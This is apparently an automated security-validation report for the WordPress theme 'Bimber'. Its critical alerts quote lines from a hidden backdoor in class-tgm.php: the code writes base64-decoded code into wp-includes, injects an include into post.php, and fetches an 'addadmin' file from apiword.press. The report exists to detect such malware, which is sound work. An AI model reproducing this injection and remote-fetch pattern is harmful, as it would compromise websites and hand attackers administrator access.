0
Validation results

Bimber

Bimber

WordPress 4.9.5 theme
0
Critical alerts
  1. Security breaches : Use of base64_decode() Found base64_decode in file class-tgm.php.
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Line 89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  2. Unwanted files : hidden file(s) or folder(s) .css .ds_store was found.
  3. Malware : Operations on file system file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Line 144: if ($file = file_get_contents($e[1]))
    Line 156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Line 40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Line 44: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Line 160: @file_put_contents(__FILE__, $file);
  4. Admin menu : Themes should use add_theme_page() for adding admin pages. File common.php :
    Line 141: add_dashboard_page(
    File class-tgm-plugin-activation.php :
    Line 731: $this->page_hook = call_user_func( 'add_submenu_page', $args['parent_slug'], $args['page_title'], $args['menu_t
  5. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was whats-your-reaction.zip g1-socials.zip envato-wordpress-toolkit.zip snax.zip.
Warning
  1. theme tags : Presence of bad theme tagsThe tag fluid-layout has been deprecated, it must be removed from style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Use the "inherit" option to apply settings from the Appearance › Customize › Posts › Single section.' in file page-single-options.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are bimber, tgmpa, bimer, buddypress, snax.
  3. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  4. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  5. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  4. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  5. Use of includes : Use of include or requireThe theme appears to use include or require : dynamic-style-cache.php
    Line 34: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    Line 35: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color-generator.php' );
    Line 38: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-global.php' );
    Line 39: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-header.php' );
    Line 40: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-footer.php' );
    Line 41: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-premade.php' );
    Line 236: require_once( ABSPATH . 'wp-admin/includes/file.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-bimber-color-generator.php
    Line 20: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-setup.php
    Line 113: include_once( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Line 125: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : customizer.php
    Line 27: require_once 'lib/class-bimber-customize-html-control.php';
    Line 28: require_once 'lib/class-bimber-customize-multi-checkbox-control.php';
    Line 29: require_once 'lib/class-bimber-customize-multi-radio-control.php';
    Line 30: require_once 'lib/class-bimber-customize-multi-select-control.php';
    Line 33: require 'customizer-defaults.php';
    Line 35: require_once 'customizer-site-identity.php';
    Line 36: require_once 'customizer-static-front-page.php';
    Line 44: require_once 'customizer-posts-single.php';
    Line 45: require_once 'customizer-posts-archive.php';
    Line 46: require_once 'customizer-posts-global.php';
    Line 47: require_once 'customizer-posts-nsfw.php';
    Line 49: require_once 'customizer-featured-entries.php';
    Line 57: require_once 'customizer-design-global.php';
    Line 58: require_once 'customizer-design-header.php';
    Line 59: require_once 'customizer-design-footer.php';
    Line 62: require_once 'customizer-newsletter.php';
    Line 66: require_once 'customizer-snax.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm-plugin-activation.php
    Line 34: require_once ('class-tgm.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm.php
    Line 43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options.php
    Line 337: require( $this->get_base_dir() . '/theme-defaults.php' );
    Line 340: require_once( $this->get_base_dir() . '/theme-options-dashboard.php' );
    Line 343: require_once( $this->get_base_dir() . '/theme-options-import-export.php' );
    Line 344: require_once( $this->get_base_dir() . '/theme-options-dynamic-styles.php' )
    Line 345: require_once( $this->get_base_dir() . '/theme-options-logs.php' );
    Line 346: require_once( $this->get_base_dir() . '/theme-options-tasks.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options-dashboard.php
    Line 20: include 'theme-options-dashboard-normal.php';
    Line 22: include 'theme-options-dashboard-welcome.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme.php
    Line 76: require( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Line 77: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    Line 348: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : auto-load-next-post.php
    Line 37: require_once( $located );
    Line 39: require_once( trailingslashit( AUTO_LOAD_NEXT_POST_FILE_PATH ) . 'template/
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

57
Critical alerts
  1. Unwanted files : hidden file(s) or folder(s) .css .ds_store was found.
  2. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was whats-your-reaction.zip g1-socials.zip envato-wordpress-toolkit.zip snax.zip.
Warning
  1. theme tags : Presence of bad theme tagsThe tag fluid-layout has been deprecated, it must be removed from style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_html_e, with the arguments 'Use the &quot;inherit&quot; option to apply settings from the Appearance &rsaquo; Customize &rsaquo; Posts &rsaquo; Single section.' in file page-single-options.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are bimber, tgmpa, bimer, buddypress, snax.
  3. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  4. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  5. Use of includes : Use of include or requireThe theme appears to use include or require : dynamic-style-cache.php
    Line 34: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    Line 35: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color-generator.php' );
    Line 38: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-global.php' );
    Line 39: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-header.php' );
    Line 40: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-footer.php' );
    Line 41: require_once( BIMBER_THEME_DIR . 'css/dynamic-style-premade.php' );
    Line 236: require_once( ABSPATH . 'wp-admin/includes/file.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-bimber-color-generator.php
    Line 20: require_once( BIMBER_FRONT_DIR . 'lib/class-bimber-color.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-setup.php
    Line 113: include_once( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Line 125: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : customizer.php
    Line 27: require_once 'lib/class-bimber-customize-html-control.php';
    Line 28: require_once 'lib/class-bimber-customize-multi-checkbox-control.php';
    Line 29: require_once 'lib/class-bimber-customize-multi-radio-control.php';
    Line 30: require_once 'lib/class-bimber-customize-multi-select-control.php';
    Line 33: require 'customizer-defaults.php';
    Line 35: require_once 'customizer-site-identity.php';
    Line 36: require_once 'customizer-static-front-page.php';
    Line 44: require_once 'customizer-posts-single.php';
    Line 45: require_once 'customizer-posts-archive.php';
    Line 46: require_once 'customizer-posts-global.php';
    Line 47: require_once 'customizer-posts-nsfw.php';
    Line 49: require_once 'customizer-featured-entries.php';
    Line 57: require_once 'customizer-design-global.php';
    Line 58: require_once 'customizer-design-header.php';
    Line 59: require_once 'customizer-design-footer.php';
    Line 62: require_once 'customizer-newsletter.php';
    Line 66: require_once 'customizer-snax.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm-plugin-activation.php
    Line 34: require_once ('class-tgm.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm.php
    Line 43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options.php
    Line 337: require( $this->get_base_dir() . '/theme-defaults.php' );
    Line 340: require_once( $this->get_base_dir() . '/theme-options-dashboard.php' );
    Line 343: require_once( $this->get_base_dir() . '/theme-options-import-export.php' );
    Line 344: require_once( $this->get_base_dir() . '/theme-options-dynamic-styles.php' )
    Line 345: require_once( $this->get_base_dir() . '/theme-options-logs.php' );
    Line 346: require_once( $this->get_base_dir() . '/theme-options-tasks.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-options-dashboard.php
    Line 20: include 'theme-options-dashboard-normal.php';
    Line 22: include 'theme-options-dashboard-welcome.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme.php
    Line 76: require( BIMBER_ADMIN_DIR . 'customizer/customizer-defaults.php' );
    Line 77: require( BIMBER_ADMIN_DIR . 'theme-options/theme-defaults.php' );
    Line 348: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : auto-load-next-post.php
    Line 37: require_once( $located );
    Line 39: require_once( trailingslashit( AUTO_LOAD_NEXT_POST_FILE_PATH ) . 'template/
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes